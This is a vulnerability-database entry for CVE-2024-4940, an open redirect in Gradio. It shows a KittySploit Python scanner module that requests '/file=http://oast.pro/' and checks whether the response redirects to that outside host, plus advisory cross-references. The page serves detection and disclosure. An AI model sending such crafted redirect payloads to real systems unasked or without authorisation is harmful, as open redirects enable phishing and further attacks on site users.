Lucene search
+L

Gradio - Open Redirect Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Open redirect in gradio-app/gradio via improper validation of user-supplied URLs.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnnvd
CNNVD
Gradio Input Validation Error Vulnerability
22 Jun 202400:00
–cnnvd
cve
CVE
CVE-2024-4940
22 Jun 202405:23
–cve
cvelist
Cvelist
CVE-2024-4940 Open Redirect in gradio-app/gradio
22 Jun 202405:23
–cvelist
euvd
EUVD
EUVD-2024-2050
3 Oct 202520:07
–euvd
euvd
EUVD
EUVD-2025-7019
3 Oct 202520:07
–euvd
github
Github Security Blog
BentoML Open Redirect vulnerability
20 Mar 202512:32
–github
github
Github Security Blog
Open redirect in gradio
22 Jun 202406:30
–github
mend
Mend
CVE-2024-4940
22 Jun 202405:23
–mend
nuclei
Nuclei
Gradio - Open Redirect
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2024-4940
22 Jun 202406:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Gradio - Open Redirect Detection',
        'description': 'An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'redirect', 'oast', 'gradio', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': ['https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60'],
        'cve': 'CVE-2024-4940',
    }

    def run(self):
        path = '/file=http://oast.pro/'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 302:
            return False
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_regexes = ('(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$',)
        if any(re.search(rx, headers) for rx in header_regexes):
            self.set_info(severity='medium', reason='Gradio - Open Redirect detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 3.16.1
CVSS 35.4
EPSS0.01021
SSVC
1